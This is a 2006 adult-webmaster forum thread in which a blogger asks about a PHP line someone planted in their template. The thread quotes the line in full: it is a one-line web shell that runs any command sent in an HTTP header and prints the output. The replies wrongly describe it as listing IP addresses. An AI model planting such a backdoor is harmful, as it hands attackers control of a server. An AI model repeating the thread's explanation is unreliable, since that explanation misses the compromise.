GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   Can someone tell me what this PHP does? (https://gfy.com/showthread.php?t=592898)

DWB 03-31-2006 09:02 AM

Can someone tell me what this PHP does?
 
Someone put this in my blog template... What are they trying to do?

<?php exec(getenv("HTTP_ACCEPT_IP"), $results); foreach ($results as $str) {print $str."\r\n";} php?>

Chris 03-31-2006 09:05 AM

displays something
nto sure :/
I dont know php at all
but guessing that by the exec and the $results

Lance69 03-31-2006 09:07 AM

I'm sure someone knows, just wait for the hangovers to subside...:Oh crap

DWB 03-31-2006 09:08 AM

They had "Hola" that was showing on my site on my archives list. That is how I noticed it...

psili 03-31-2006 09:09 AM

To me, it looks like it runs a system call to get IP addresses the system supports and prints them each on a line.

European Lee 03-31-2006 09:14 AM

Looks like they are trying to get a list of IP addresses to display, possibly to bypass any IP based restrictions on external blog spam.

Regards,

Lee

DWB 03-31-2006 09:16 AM

Thanks guys!!!

Sometimes GFY is good for something. ;-)


All times are GMT -7. The time now is 02:47 PM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2026, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123